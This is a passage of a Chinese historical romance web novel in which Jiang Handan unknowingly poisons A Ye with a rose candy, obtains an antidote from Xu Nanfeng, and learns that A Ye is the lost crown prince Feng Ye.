阿夜下颔微微紧绷,他已经刻意控制了,失望还是非常明显:“……不行吗?” “……行。” 阿夜眼中闪过亮光。 把甜羹的灶火交给厨娘,阿夜牵来马匹。 他先把姜菡萏扶上马背,随后自己上马。 随着商路的打通,庆州百姓的生活恢复了正常,街头照样热闹。 马匹避开人群,缓缓而行,哪怕姜菡萏后背挺得再直,也不时会碰到阿夜的胸膛。 之前在战场上冲杀,两人共乘一骑,姜菡萏的脑子里只有炸死风曜,根本没有半点绮念。 后来在战场被阿夜抓回澹园,她气得不行,亦没有旁的心思。 此时不知道是怎么回事,每碰一下,她都觉得一阵麻酥酥的感觉传遍全身。 “菡萏,”阿夜的声音从头顶传来,“我是说像那样。” 姜菡萏闭了闭眼睛,慢慢靠近阿夜。 她有种错觉,好像在向深渊坠落,好像一靠下去,事情便会超出她的掌控。 最后一刻,阿夜像是无法忍耐,手圈住她的腰身,将她圈在怀中。 然后披风裹紧,两人紧紧贴在一起,亲密得仿佛是同一个人。 姜菡萏浑身轻轻颤栗。 “你害怕吗?”阿夜低头在她耳边问。 “不是。”不是害怕,是一种她从来没有过的感觉,是一种隐秘的欢喜,全身的骨骼都在轻轻发抖。 阿夜将她裹得更紧了些,如果不是在用尽全力克制,他真想把她揉进自己的身体里。 玄甲修罗的名号在庆州无人不识,但被抢回澹园的姜家嫡女却是第一次在人前露面。 高大冰冷的玄甲修罗周身散发着森冷肃杀之气,像冰天雪地中裸露出来的漆黑岩石,他怀中的女子却是纤弱娇嫩如春日里生出来的细嫩兰草,颤巍巍在风中扶摇。 城中流传着种种关于姜家嫡女的传言,都觉得这位昔日的贵女而今成为玄甲修罗的禁脔一定过得无比凄惨。 今日整个庆州城的人都看见了,玄甲修罗分明是把她捧在手心都怕碎了。 马匹走得缓慢,两人并未下马,阿夜命掌柜把最好的东西捧出来给姜菡萏看。 “喜欢吗?要不要带回去?”阿夜问。 姜菡萏点头:“好。” 玄甲军跟在后面,手里捧着的东西越来越多。 最后一家是银楼,掌柜带着伙计将最好的首饰放在红绸叠着的托盘中,恭恭敬敬举过头顶。 阿夜伸手,从中取了一样东西,翻手托在姜菡萏面前:“这个喜 欢吗?” “喜……”底下一个“欢”字还没说完,姜菡萏的视线顿住了。 这是……那枚仙桃童子玉坠。 她当时拿了玉坠让暗卫追查阿夜的父母亲人,多年来遍寻不获,只得将玉坠还给阿夜。 此时玉坠上打着精巧的络子,变成了一根别致的项链。 “这东西本来就是捡的,可是因为在你身边戴过,我便舍不得扔。”阿夜的声音轻沉柔和,“我来这世间所拥有的一切,都是源于你,便都是你的,不便拿来送你。只有这东西是遇见你之前得的,勉强算我的。收下它好吗?” 姜菡萏无法拒绝,点点头。 阿夜替她戴上。 金珠儿线配着玉色,衬着淡绿衣裳,格外醒目。 “你带我逛街,就是为了送我这个吗?” “算是吧。”阿夜道,“总得留点念想。” 姜菡萏很想问为什么要留念想……难道他知道她要走? “时间差不多了吧?”阿夜问,“回去?” 姜菡萏看着热闹的街道,忽然不想走:“再逛逛好吗?” 阿夜当然不会拒绝。 可长街总有逛尽的时候,马匹还是要折返,带着丰厚收获满载而归。 眼看离澹园越来越近,姜菡萏发现自己的心跳越来越快,心脏好像被无形的大手攥得越来越紧。 “等……等等!”在澹园门口,姜菡萏抓住阿夜握缰绳的手,呼吸急促,“先别回去!” 阿夜安静地看着她。 风渐渐大起来,铅云盖过阳光,风雨欲来。 不回去,又能去哪里? 姜菡萏终于慢慢松开手:“不……回去吧。甜羹……应该已经好了。” “好。”阿夜仿佛又回到了从前的样子,无论她说什么他都千依百顺。 * 甜羹确实好了,盛在小碗中,和其它诸色点心一同被端上来,最边上贴近姜菡萏手边的角落,放着一碟子玫瑰糖。 姜菡萏的视线碰触到它,仿佛烫着了一样别开。 小楼中温暖如春,寒意悉数被挡在门外。 甜羹浓稠,姜菡萏尝了一口。她嘴里是苦的,吃什么都觉得发苦。 阿夜端起一碗,大口大口喝完,问:“还有吗?” 姜菡萏给他盛了一碗。 阿夜一连喝了三碗。 放下碗的时候,他轻轻笑了一下。 自从来到庆州,他从来没有露出过这样的笑容,轻冽甘甜,一如当年在窗下守着她时的每一次回望。 “在这个世上,我最讨厌的人就是许南风。从他第一次站在你身边起,我就讨厌他。”阿夜道,“最讨厌他的一次,就是那年年夜,你给他做甜羹。” “你从来没有亲手给任何人做过吃的,却给他做了。” “他还说不好吃。” “那个时候我就想杀了他。” “那个时候……我还悄悄地想,如果那碗甜羹是给我做的,我将是世上最快乐的人。” “现在我是了。” “谢谢你,菡萏。” 他笑得越清澈,姜菡萏便越是说不出话。 她宁愿他此刻是暴戾凶残的玄甲修罗,也不愿在这样的时候,看见昔日那个春水般清澈的少年。 “不过菡萏,我觉得世上最好吃的东西,不是甜羹,而是玫瑰糖。”阿夜道,“给我一颗好吗?” 姜菡萏的手微微发抖,垂下眼睛,拈起最上面一颗——那是苏妈妈早就摆好的位置。 她猜想自己的脸色一定很不好看,因为她把糖递过去的时候,阿夜没有接。 她以为他发现了什么,心里面甚至因此感觉到一阵轻松。是的,一定是他闻到了不对劲。 “……喂我?” 姜菡萏意外地抬头看着阿夜,阿夜脸上带着期待的笑意,“不是说要为我做点什么吗?我想让你喂我吃颗糖。” 雪夜,丹房,黑暗中怕火的狼人少年……昔日种种,闪过姜菡萏眼前。 她剥开糖纸,拈着琥珀色的糖,送到阿夜面前。 阿夜低下头,眼睛一直看着她,视线没有挪开半分,脸上一直带着微笑,轻轻含住那颗糖。 然后,轻轻亲了亲她的手指。 他明明这么温柔,姜菡萏却心痛起来。 阿夜吃糖向来快得很,嚼吧嚼吧一盒糖转瞬便见底,但这一次他慢慢含着糖,好像终于学会了慢慢品味。 “阿夜……”姜菡萏喉咙干涩,“我有件事想跟你说。” “你说。” “我以前……死过一次……或者说,我梦见我死过一次。”姜菡萏轻声道,“在那个梦里,汤博望攻破京城,我嫁给了风曜,然后死在他手中。天下大乱,人间化为炼狱。我从梦中醒来,发誓绝不能活得那么凄惨。” 阿夜深深看着她:“你以前是不是跟我说过?” “对,这是我的秘密,我在很早的时候就告诉过你。不过你那个时候还听不懂人话,应该不知道我在说什么。” 也正是因为那样,她才愿意什么都跟他说。 人心难测,而他的心是可以让她照出自己身影的清泉。 阿夜想了想,摇了摇头:“可惜,那个时候我还不是人。” 姜菡萏笑了,笑完,眼睛又有点酸楚,她把上一世的事情原原本本讲给阿夜听。 她救张贺,是因为要阻止迦南叛乱。 她杀汤博望,是因为他是叛军首领。 她杀段璋,是因为段璋是乱臣贼子。 她杀风曜,是因为风曜是杀死她的凶手。 …… 所有这些她要去做的事,阿夜都会帮着她去做,从来不会问为什么。 现在,她就把所有的“为什么”都讲给他听。 阿夜听得很认真,直到听见风曜的剑捅进她的胸膛。 “风曜……”阿夜眉眼间全是杀意,语气森冷无比,慢慢地道,“一刀把他捅死在西山,实在太便宜他了。” “……都过去了。”姜菡萏道,“而今重活一世,我阻止了那场叛乱,保护了身边所有人,自己也活得好好的。我想要的都实现了,只剩下最后一件事没能完成,那就是嫁给昭惠太子,助他尽快安定天下。” 阿夜看着她,仿佛要将她的脸刻进肺腑,他问道:“你的上一世里,没有我,是吗?” 姜菡萏:“是。所以每次看到你,我就能确定,这一辈子是我的新生。” “上一世我一定是死在围场了。”阿夜轻声道,“这一世是你给我的新生。” 姜菡萏眼睛发酸,心中发紧:“阿夜,这一世能遇见你,我很高兴。如果还有下一世,我希望天下太平,我一定会早日找到你,然后和你在一起。” “一直在一起吗?”阿夜的声音有点轻,有点飘忽。 “一直在一起。” “永久在一起?” “永远在一起。” “没有别人?” “没有别人。” “那真是……太好了。” 阿夜再次露出一个笑容。 这笑容比任何一次都要灿烂。 一缕鲜血从他的嘴角溢出来。 姜菡萏定定地看着那丝鲜红的痕迹,全身发冷:“阿夜你怎么了?” “没什么,我很好,这么久以来,我从来没有这么好过。” 阿夜依然是笑着的,“就是这颗糖太苦了……菡萏,再给我一颗好吗?再给我一颗……不那么苦的……” 他说到后面,大口的大口的鲜血喷涌而出。 “不!不!” 姜菡萏扑上去扶住他,他无力地倒在她怀中,姜菡萏慌乱地想帮他止血,但一切都是徒劳,鲜血仍然在逃离他的身体。 她尖声喊,“不对,这不对!这明明是迷药,明明是迷药!” 是毒药啊,傻菡萏,他一闻就知道。 “原来你不知道吗……”阿夜一面吐血,一面觉得很高兴,“你并不是真的想我死,是吗?” “我怎么会想你死?我只是想你放我走!我不想你死!你快好起来,你不再这样……我害怕,阿夜,你好起来,你快点好起来……你不能死,我不要你死!” 姜菡萏紧紧抱着他,泪落如雨,疯狂哀求。 “可我……只能死……只有死了,我才不会拦着你嫁给许南风……” 阿夜慢慢伸出手,碰到姜菡萏的脸颊,“菡萏别哭……我吃的第一颗糖,就是你喂给我的,最后一颗,本就该由你喂……” 他做人的日子很短。 满打满算,不过四年。 这一口玫瑰香,是他尝到的第一口甜。 那是他第一次尝到做人的滋味。 “菡萏……”他轻轻喊出这世上他最喜欢的两个字,露出最后一丝笑容,“做人,很甜啊……” 他的手无力地离开姜菡萏的脸颊,垂死仍挣扎了一下,想多碰一碰她,可惜他的力气已经耗尽,沾血的手划过她的衣领,最终落在她的衣裙上。 刹那间,姜菡萏血身的血液都冻结了。 “来人!来人!”她拼命大叫,“快来人!” 苏妈妈等人立即推门而入,敬王爷动作比她们都快,率先闯进来:“小菡萏,快小声些!莫要惊动旁人!太好了,大事已成!我已经把那颗药下在井水中了,这便带你们出去,你哥哥和许南风就在城外接应,到时你便可以回去嫁给许南风了!” “不……不……”姜菡萏紧紧抱着阿夜,“我不嫁,我谁也不嫁!我要阿夜,我只要阿夜!我要他活过来!解药……快,快去找许南风,他一定有解药!” 几人这才注意到被姜菡萏紧紧抱着的阿夜不像是被迷晕,敬王“咦”了一声,脸色大变:“那是哪儿来的?” 他紧紧盯着的是姜菡萏衣襟前的玉坠。 玉坠沾上了血迹,光泽却益发柔润。 第78章 第78章我可以救他 姜菡萏根本听不见敬王在说什么。 她以为自己已经改变了上一世的命运,不用再面对生离死别。 她以为自己可以付出一切代价,只求天下安定。 可这个代价不包括阿夜! “顾晚章……”姜菡萏喃喃,“对,找顾晚章——” 她轻轻把阿夜放下,动作轻柔得仿佛他一碰就碎。 阿夜浑身是血,苍白的脸看上去异常平静,仿佛只是陷入了一场安宁的梦境。 她温柔地看他一眼,转身向着门口走去。 身边有人拉着她,她好像身在梦中,周遭的一切与她皆隔着一层雾气,她看不清,也听不清,她用尽全力挣脱那只手。 “菡萏!”敬王大喝,“现在外头还没乱起来,咱们出不去的!” 对……对……姜菡萏模模糊糊地想起他们原本的计划——另一颗“玫瑰糖”已经下在井水中,敬王不像苏妈妈那般乐观,想用一颗药放倒澹园上下所有人。按照敬王的估计,最初会有一批人中毒,但症状一旦显现,澹园必定会彻查饮食,所以只能制造出一场短暂的骚乱。 但一场骚乱已经够他们悄悄脱身,因为澹园的人很快就会发现阿夜昏迷。 而在那之前,她还要拿到出城的手令,才能叫开城门,顺利逃脱。 可现在一切都不重要了,她用力打开书房的房门。 门外大雪纷飞,寒风裹着雪片,吹得姜菡萏的发丝衣摆悉数往后,吹散了她的恍惚,她一下子清醒过来。 在她的眼前,在书房门外,玄甲军站在风雪中,一身玄甲积着一层白,不知站了多久。 郭俊站在最前面,扶刀垂首,一动不动。 敬王大惊,万万没有想到玄甲军的军容还能如此整肃,森冷庄严,像一把还未出鞘的刀。 敬王拔刀,挡在姜菡萏身前:“此事全系本王所为,与他人无关!” 姜菡萏心想,玄甲军中奉阿夜为神,阿夜出事,她和敬王谁也逃不了。 可是,风雪中一片静默,没有人开口。 “快去请大夫。”姜菡萏向郭俊道,“还有,立即派人去城外找顾晚章,他身上应该有解药。” 以顾晚章的缜密,万事皆会留下后手。 “统领说过,他若出事,不必营救。” 郭俊始终低头站着,没有问责于姜菡萏,也没有让人拿下敬王,“因为违逆小姐者必死,他自己也不例外。” 像是一柄钝刀缓缓捅进心脏,姜菡萏疼得扶住门框,才没有倒下。 郭俊在姜菡萏面前跪下,从怀中取出一只印盒,双手呈过头顶:“此为澹园印信,可以调动玄甲军。属下遵统领吩咐,一旦统领身有不测,玄甲军物归原主,庆州上下,听凭小姐裁决。” 随着郭俊的声音落地,玄甲军齐齐跪下,铠甲的摩擦声整齐划一。 姜菡萏死死盯着那印盒,一把夺过,高举过头顶:“玄甲军随我出城!” * 城门处正在交战。 镇海军攻城,而玄甲军未曾出战,单凭庆州的守兵无力抵挡,接连往澹园送了几波消息都没有回音,景州那群杂牌军自以为得到大展身手的机会,冲出城门。 他们本想打出一场漂亮的战役,让阿夜痛悔那日的怠慢,可他们低估了镇海军和姜家府兵的强大,交战不过两个回合,便被打得稀里哗啦,抱头鼠蹿。 阻挡在许南风面前数月之久的城门第一次无力地裸露在他面前,许南风心中狂跳,就要发起冲锋。 “阿夜为何没有应战?连玄甲军也不曾出现。”许南珠劝道,“其中会不会有诈?” “诈就诈吧!”姜祯忍不住了,他拍马冲向前,“有本事就让他杀了我!” 许南风随即跟了上去。 镇海军和姜家府兵汇聚成两股洪流,突破杂牌军凌乱的防守,冲向庆州城门。 就在这个时候,城门缓缓从内打开。 许南风立即张弓搭箭,箭尖对准最前方的将领——可当那道人影在视野中变得清晰之时,他震惊地睁大了眼睛。 “妹妹!”姜祯大声喊。 为首的是姜菡萏,随行在她身后的是郭俊,黑压压的玄甲军跟在她的身后,没有拔刀也没有张弓。许南风立即向镇海军下达了止戈的命令,镇海军副将迟疑一下,最终还是垂下了刀尖。 “顾晚章在不在军中?”姜菡萏一马当先,疾冲过来。 “在后军。”姜祯看着妹妹的脸,鼻子发酸,呜呜,还好还好,脸颊没有掉肉,就是脸色太苍白,身上甚至还有血迹——妹妹受伤了? 命令随即传向后军,顾晚章急忙赶到阵前,姜菡萏脸上没有一丝血色,目光像将要溺死之人抓住最后一块浮木:“东夷秘药的解药许崇义有没有给你?” 顾晚章第一次看见她露出这样的神情,他道:“有。” 姜菡萏一口气松下来,险些晕厥:“快跟我走。” * 持续数月的战争终于停歇,城门大开,围攻庆州许久的镇海军与姜家府兵缓缓入城。 能够入城的只是十成中的一成,随行护卫少主与家主,但已经足够叫商户们大惊失色,匆匆关门,路上行人急急而逃。 庆州城久攻不下,城外的镇海军积攒了一肚子怒气,抓住一名正在关门的商户,扬刀便砍,忽地一支长箭破空而来,射穿他的胸膛。 长刀落地,那名镇海军仰天倒下。 许南风握紧长\枪,道路前方,一队人马从风雪中疾驰而来,为首的人白发苍苍,手持长弓,正是敬王。 “屠戮平民者,杀无赦!”敬王须发倒立,“你们隶属朝廷,是护国卫军的正义之师,连这点道理都不懂?!” 许南风躬身聆听教诲,心中长长地松了一口气——虽然不知为何敬王会在此,但敬王既能在庆州自由出入,显然阿夜已经对庆州失去掌控。 姜菡萏带了顾晚章便走,甚至没有多看他一眼,他心中有难以言喻的失落。 “姐,菡萏说的东夷秘药,你说会不会是义父的百毒丹?” 许南珠自从入城后便有几分魂不守舍,勉强回神道:“我也不知道,过去瞧瞧便知。” * 阿夜躺在床上,脸上透出一层冰冷的青色。 姜菡萏拿到玄甲军印信的第一件事就是让大夫先行救治阿夜。 大夫从来没有见过这种毒药,只能勉强一试,用放血之法解毒。 不知是放血之法起了 作用,还是阿夜生命本就顽强,此时虽命悬一线,但总算保住了一线气息。 顾晚章掏出一颗雪白的药丸:“许侯有言,此药需用烈酒化开,酒越烈越好。” 姜菡萏立即让人取烈酒来。 北疆酒最烈,庆州从来不缺,很快便取来。 药丸在酒中化开,姜菡萏扶起阿夜。 身体的动作比脑子更快,心急火燎之中,脑海中的念头刚刚浮起,药碗已经送到阿夜的嘴边。 等等—— 她的动作顿住。 迷药是假的,解药难道就一定是真的吗? 她抬起头,还来不及让大夫查验药中的毒性,视线就对上了顾晚章的目光。 顾晚章的目光中有一丝怜惜,一丝悲悯,一丝忧伤。 刹那间,姜菡萏明白了,她猜到的事情,顾晚章已经猜到了。 但顾晚章不准备阻止。 “为什么?”姜菡萏浑身颤抖,“为什么一定要他死?” 顾晚章轻声道:“他若活着,永远不会让你嫁给许南风。你便永远无法利用镇海军的力量。” “我嫁许南风从来不是为了镇海军,而且,我已经不准备嫁了!为了这天下安定,我能做的都做了,现在我想要他活着!”姜菡萏的眼中涌出泪水,“顾晚章,你那么聪明,你救救他好吗?我只要他活着!” 走到门外的许南风整个人顿住,仿佛挨了当头一棒。 “小姐,一山难容二虎。大央有镇海军,就难容玄甲军。此战就算平息,也只是暂时的。阿夜若是活着,他与许崇义之间早晚要分个你死我活。” 顾晚章说着,深深叹了一口气,“更何况,我并没有解药,无法解此奇毒。就算要救,也只能开些寻常解毒的方子,一切要看他自己的命数。” “那就开!”姜菡萏声音嘶哑,她抱着阿夜,泪水像是流不完似的,不停往外涌,“不管怎样都好,我只要他活!” “我可以救他。”许南风走进房中,看着姜菡萏满是泪水的脸庞。 小姐从来都高高在上,哪怕是为他洗手做羹汤,也没有一丝伏低做小的意味。 她是世间最尊贵的女子,哪怕是最艰难的时候,他都没有见过她这样狼狈的模样。 “但是,菡萏,我有要求。” 姜菡萏已经说不出话来了,只是流着泪看着他。 许南风的身姿如枪杆般笔直,声音坚硬如铁:“我要你嫁给我,完成我们未完的婚礼。” 第79章 第79章二合一 “好。”姜菡萏没有一丝犹豫,向许南风伸出手,“解药。” 许南风笑了一下,向来阳光明朗的脸上头一回有了哀伤的笑容:“菡萏,你怎么能答应得这么利落?” “他就要死了,是我亲手杀死的,”泪水从姜菡萏眼中滑落,“我现在跟你多说一句话,他都会死得更快一些……阿风,解药给我。” 她的手白皙小巧,上面沾着凝固的血迹,不但不显血腥,反而衬得肌肤白得惊人,有奇异的美感。 许南风想起自己第一次在她身边侍奉,是在梁州府衙为她斟酒。她端起酒杯,每一根手指都是和春葱一样美好的形状,肌肤像玉一样生着光。 那时候他还不懂什么叫喜欢,单纯是为那美丽的手惊艳,多瞧了好几眼。 然后就被身边冰冷的视线刺了好几回。 那个时候他还懵懵懂懂,回瞪过去。 那时候的他不知道,他来得太晚了,他们早已经相遇,亲密得就像人和自己的影子。 姜菡萏紧紧搂着阿夜,哭得哀伤,心中全是疯狂——没有什么不可以,只要能救阿夜。 “真狠心啊,菡萏,”许南风俯下身,手心托着一颗淡红色的药丸,“想都不想就答应,摆明没过脑子。” 姜菡萏已经闻到药丸上清苦的芳香,正要抬手去拿,旁边一只手猛然伸出,像鹰爪般迅疾,眼看就要夺走那颗药。 “嗷呜”一声狼嚎,阿糖不知从哪里蹿出来,一口咬在那只手臂上。 “啊啊啊!”手臂的主人发出瘆人的惨叫,他是镇海军的副将,一直追随在许南风身边,干练安静,谁也没有想到他会突然发难。 阿糖几乎撕咬下他的一条手臂,玄甲军冲进来,将副将控制住,阿糖才松开嘴,钻进床底下。 那里好像就是它的窝。 “少主,解药不能给他!他要是活过来,还会让姜家嫡女嫁给你吗?夺妻之仇少主难道还想再来一次?!”副将面色惨白,咬牙道,“别忘了侯爷的军令,此人绝不能活!只要他死了,大央就是我们镇海军的天下!” “你说大央是谁的天下?” 威严的声音从门外传来,敬王迈进门槛,身后跟着姜祯。 副将愣了一瞬,然后道:“难道我说错了吗?若不是我们镇海军,大央早就落进了风曜那个野种的手中,老王爷您恐怕早就不在人世了!” “睁大你的狗眼看看,若非你们想杀的这个人,大央早就亡了,哪里轮到你来放屁!”敬王一脚狠狠踩在副将的断臂上,副将惨叫一声,痛晕过去。 姜祯第一时间挡住姜菡萏的视线——无论什么时候,他永远都觉得这种血腥的场面不宜让妹妹看见。 姜菡萏根本没有去看那边,她直接抓住许南风的手,专注而急切地想要掰开许南风的拳头。 许南风从未和她如此接近过,皮肤清晰地感觉到她的指尖冰凉。 他松开手,姜菡萏像松鼠掏坚果那样把解药掏出来,然后往自己嘴里送。 许南风一把抓住她的手腕:“你干什么?” 姜菡萏垂眼看着阿夜,他的气息渐渐微弱,已经无法吞服药丸。 “如果这颗解药这也是假的呢?你就不怕这也是毒药?” “不会。”姜菡萏仰头看着他,温润的眸子里有坦诚且澄澈,“阿风,你从来没有骗过我,我相信你。” 许南风慢慢地松开了手。 姜菡萏含住药丸,再含了一口清水,俯下身,喂给阿夜。 没有绮思,没有杂念,她什么也没想,她只要阿夜活。 许南风转身离开,然后才发现,顾晚章走在他的前面。 书房外风雪狂舞,两人的衣袂被吹得猎猎作响。 “……你一直是这种心情吗?”许南风低低开口,“眼睁睁看着她属于别人,明明触手可及,却永远只能旁观。” 顾晚章隽秀的面容在风雪中没有一丝波动,只有眸子微微收缩了一下,太轻微,在风雪中没有人看得清。 “我不知道将军在说什么。” “阿风!”许南珠的声音由远及近,她在雪中打着伞,但根本没有用,风和雪都太大了,她干脆扔了伞,走到许南风面前,“你用解药换了场婚礼?” 虽然是一道进入澹园,但许南珠率先去查看了井水中的残毒。 百毒丹是许崇义无意间得到的秘毒,每一名子女都留了一颗解药以防不测,许南珠把自己那颗化在了井水中,救治因饮水而中毒的澹园之人。 “阿风,你只有两个选择,一是袖手旁观等阿夜死,然后再想办法娶小姐;二是送上解药,然后就当之前不曾有过那桩婚事。”许南珠走得急,语气也很急,“现在你解药给了,救了阿夜,却还要婚礼……阿风,你是嫌这场仗打得还不够久吗?!” 说到最后,许南珠踮起脚,扬起手,给这个高大的弟弟脑袋上来了一颗爆栗子。 许南风脸上冷然如冰雪的表情在这一记重击下瓦解粉碎,他鼻子一抽:“姐……我知道了,她是真的喜欢他……” “……”顾晚章无声地叹息一声,走向风雪中。 落雪很快染白了他的头发和衣裳。 * 房内,直到确认阿夜咽下了药丸,姜菡才抬起头。 这才发现顾晚章和许南风已经离开了,那名副将早就被带了下去,屋内只剩下敬王和姜祯。 一老一少都转过身,背对着她,非礼 勿视。 “好了。”姜菡萏道。 姜祯先转身,一脸谴责:“妹!就算要救人,也要顾及些男女大防,阿风才是你的夫君啊!他围城数月就是为了救你出去,你怎么反倒跟这叛徒好上了?” 姜菡萏心想,这事可真是一言难尽。唯一一桩清晰的,就是——“我不能嫁给阿风了。” 姜祯瞪大眼睛,突然怒视阿夜:“他是不是对你做什么了?你是不是……是不是……嗐!什么贞洁名声都是假的,就算他真怎么你了,你也不用理他!你照样是我妹妹,大可以跟我回家,用不着跟着这叛徒!哼,想用女子的名节要挟你一辈子,他做梦!” “……”哥哥太激动了,姜菡萏一时也说不清楚,“总之,我已经知道我真正想嫁的人是谁了,我会去和阿风说清楚的。” 姜祯大怒:“你该不会告诉我,你想嫁给这叛徒吧?!” “他不是叛徒。”姜菡萏抱着阿夜,像抱着失而复得的珍宝,“他从来就没有背叛过我。” “你!你脑子糊涂了!是破坏了你的婚事,是他把你抢到庆州,是他囚禁你不让你离开!” “对。”姜菡萏点头,“我觉得他做得对,如果我真的跟阿风完婚了,我会后悔一辈子。” “菡萏,”姜祯急切道,“你从来不在意旁人的看法,我说过了,名节什么的——” “无关名节,我和阿夜清清白白。”姜菡萏认真道,“我想嫁给他,是因为我喜欢他。我活这一趟,不能单为大央活着,我要为自己活着。哥哥,我知道是我任性了,许南风和镇海军那边,我会补偿的。” 姜祯直跳脚,这叛徒到底是给妹妹灌了什么迷魂汤?! “可可可他万一活不过来呢?!你还嫁吗?” “他死了我还怎么嫁?”姜菡萏垂下眼睛,温柔地看着阿夜,“哥,我以前没有喜欢的人,所以觉得嫁谁都可以。可现在我有了,除了这个人,我谁也不嫁。一辈子不嫁又如何?我一个人也照样可以活得好好的。” 姜祯呆在原地,妹妹一旦用这样的语气,那事情便是再无转圜的余地。 “咳,”敬王咳嗽一声,“你们两个聊完了吗?菡萏,你现在脑子还清楚吗?” 姜菡萏点点头。 她已经不再焦急了不再惶恐了,因为能做的都已经做了,剩下的就看天意。 老天爷已经让阿夜吃了那么多的苦,若世间真有公道,上天一定会让他醒来。 “老王爷是不是有什么事情要问我?”姜菡萏恍惚记得之前敬王拉着说过些什么,只可惜当时一个字也没进她的耳朵。 “是。”敬王的神情异常严肃,他指向她的衣襟,“这东西给我看看……你从哪儿得来的?” 姜菡萏一面摘下颈上挂着的玉坠,一面简单说明它的来处。 上面沾着的血迹已经干枯,敬王直接用茶水清洗干净,然后凑到光线更明亮的窗前,仔细查看。 姜菡萏望向姜祯:“?” 姜祯悄悄道:“我一进城就被老王爷拉过去,问了半天关于昭惠太子的事。” 但那场雪崩发生的时候,姜祯只有七岁,本就记事不多,又年深日久,他全无印象。 敬王当时看上去对他一脸失望,明明在守城期间对他刮目相看的欣赏眼神消失了,又变成之前看见他打扮得花枝招展的样子。 姜菡萏隐陷有点紧张。长久以来,暗卫带着玉坠查找过无数人,没有人一个人见过它。 现在看起来,敬王竟然见过。 然后,她就看见敬王对着天光拧了拧孩童背上那颗仙桃,将桃儿对半拧开了。 姜菡萏:“!!!” 这东西她之前放在身边很久,从来不知道桃子可以拧开,明明一点缝都看不到! “果然!果然!”敬王大喜,两半仙桃断开的地方,一半微凸,一半微凹,“快,快拿印泥来!” 阿夜的卧房可以说是家徒四壁,甚至床上连被子都没有,更别提印章印泥。 敬王也等不及别人送来,自己急匆匆跑出去找印泥。 兄妹俩在屋中面面相觑,不知敬王到底发现了什么,这样激动。 姜祯知道这玉坠的来历,拿着玉坠出去查找的暗卫还是他亲自派出去的,此时悻悻地:“别告诉我这叛徒跟昭惠太子有关系……” 他刚出口就被这念头吓着了,“呸呸呸,昭惠太子不是阿风吗?” 姜菡萏也充满疑惑。 是的,许崇义麾下的义子、打败叛军的中兴之君、大难不死的昭惠太子,分明是许南风。 可除了皇家血脉,还有什么能让敬王如此激动? 兄妹俩俱是一头雾水,姜祯有个好习惯,那就是想不通的事情立马就扔开不再去想,他再度严厉地指责妹妹:“行了行了,解药也喂了,应该死不了了,你放下他,跟我回家……” 他的话还没说完,一直寂然如死的阿夜忽然有了一线反应——眉头微微皱了皱。 “阿夜……”姜菡萏又惊又喜,立即低下头,轻轻扶着阿夜的脸颊,“……你醒了吗?听到我说话吗?” 阿夜没有发出任何声音,他只是在姜菡萏的声音里舒展开原本皱起的眉头,脸色虽然依旧苍白,但之前那层可怕的死灰色已经消失了。 不用大夫诊脉,任何人都看得出来,他迈出了死门关。 “……真是命大……”姜祯悻悻。 “哈哈!哈哈哈!哈哈哈哈!” 敬王的笑声隔老远就传进屋中,严寒与风雪丝毫没有影响声音中的畅快与喜悦。 “天佑我大央,天佑我大央啊!” 敬王大步进来,一手万分珍惜地拿着那只玉坠,一手拿着一张柔软的宣纸。 宣纸上盖了好几个章。 章很小,只有指甲盖大小,外形浑圆,里面有四个篆字。 姜祯与姜菡萏兄妹俩脑袋凑在一处,一字一字辨认。 皇、太、子、晔…… 皇太子晔? 皇太子晔?! 皇太子晔!!! 兄妹俩的眼睛同时瞪大。 “风风风风风晔?!”姜祯舌头都打结了,“这是风晔的皇太子印?!” “你们应该都知道吧?凡我风家子嗣,每一人都有一枚私章。这枚私章并不对外使用,乃是刻在玉牒上的、皇家嫡系血脉的象征。” 敬王望着阿夜,脸上依旧带着笑容,但目中隐含泪意,“我早该看出来的,这孩子我打从第一眼看见就喜欢……这就是血脉相连啊……” “可可可可这东西他自己都记不得是怎么来……” 跟着狼群长大的狼人少年、在兽场中供人们取乐的卑贱兽奴,竟然是尊贵无极的皇太子风晔!这事委实过于离奇,姜祯难以置信,“……老王爷,你会不会弄错了?” “绝计不会!”敬王道,“这孩子我第一眼瞧见便觉得他与长庆帝简直是一个模子刻出来的,只恨我当时未曾想到他小小年纪竟然能从那场雪崩中逃生,竟然没有多问几句,要是当时问了,说不定就找到这玉坠了!” 姜祯:“说得是啊王爷,他当年才五岁,一个五岁的孩子,怎么可能逃过那场雪崩?” “这就是先祖在保佑大央!”敬王振臂,“是先祖知道,只有他才能守住京城,守住大央,他是真正的天子,九五至尊,龙气护体,所以才能逃过那场雪崩!哪怕再怎么身处微贱,也能一步步回到宫中,只恨我老眼昏花,竟然没有认出我们风家真正的嫡系血脉!” 敬王的声音震耳欲聋,姜菡萏的耳边嗡嗡作响。 ……这怎么可能? ……她认错人了? 她一直要找的人就在她的身边,她却一直不知道? 阿夜——就是风晔? 阿夜……他说他记得他的名字叫阿夜……可那并不是“夜”,而是“晔”! 他就是昭惠太子风晔! * 被这个消息惊呆的不止是姜菡萏一个人。 整个澹园都沸腾了,很快波及到整个庆州。 玄甲修罗就是昭惠太子,他们从来都不是叛军,他们追随的是真命天子,是真正的大央之主! 之前还因为镇海军和姜家府兵入城而惴惴不安的人们开始走街串巷,弹冠相庆。 澹园内,苏妈妈惶恐难安:“我骂过他是畜牲,还用鸡毛掸子抽过他……” 姜祯喃喃:“那我围攻他好几个月……算什么?” “算你好胆。”姜菡萏喃喃。 所有人都觉得自己好像在做梦,太阳好像依旧从东边升起,但实际上已经天翻地覆。 服下解药的第三天,阿夜还没有醒。 敬王留在庆州主持大局,顾晚章回京去向太皇太后禀 报这个消息,临走前留下一副清毒调养的方子,许南珠熬好了送过来。 姜菡萏一直守在阿夜身边。 他的床上没有枕头,没有被褥。姜菡萏只知道她来了澹园之后,他夜夜都在小楼守夜,从来不知道他自己一个人时是怎么睡的。 他好像一直都没有习惯睡床…… 当初刚到西山别院的时候,他甚至宁愿睡在狗窝里。 皇太子风晔,一出世便被封为太子,天之骄子,真龙血脉,在遇到她之前一直过着非人的日子……谁能相信? 喂完药,姜菡萏轻轻绞了布巾给他擦手脸。 “等你醒了,你会吓一跳吧?一转眼,你就变成了太子……” 灯火昏黄,室内安静,姜菡萏的声音很轻,“你居然是风晔……我居然在那么早的时候就已经找到了你,可我却不知道……我真的好蠢啊……” “不……蠢……” “蠢死了都——” 姜菡萏下意识接茬,然后顿住,猛地抬头。 温暖灯光下,阿夜睁开了眼睛,他的脸色还有点苍白,声音也透着一丝虚弱,但语气坚定,不容置疑:“菡萏……是最聪明的……” 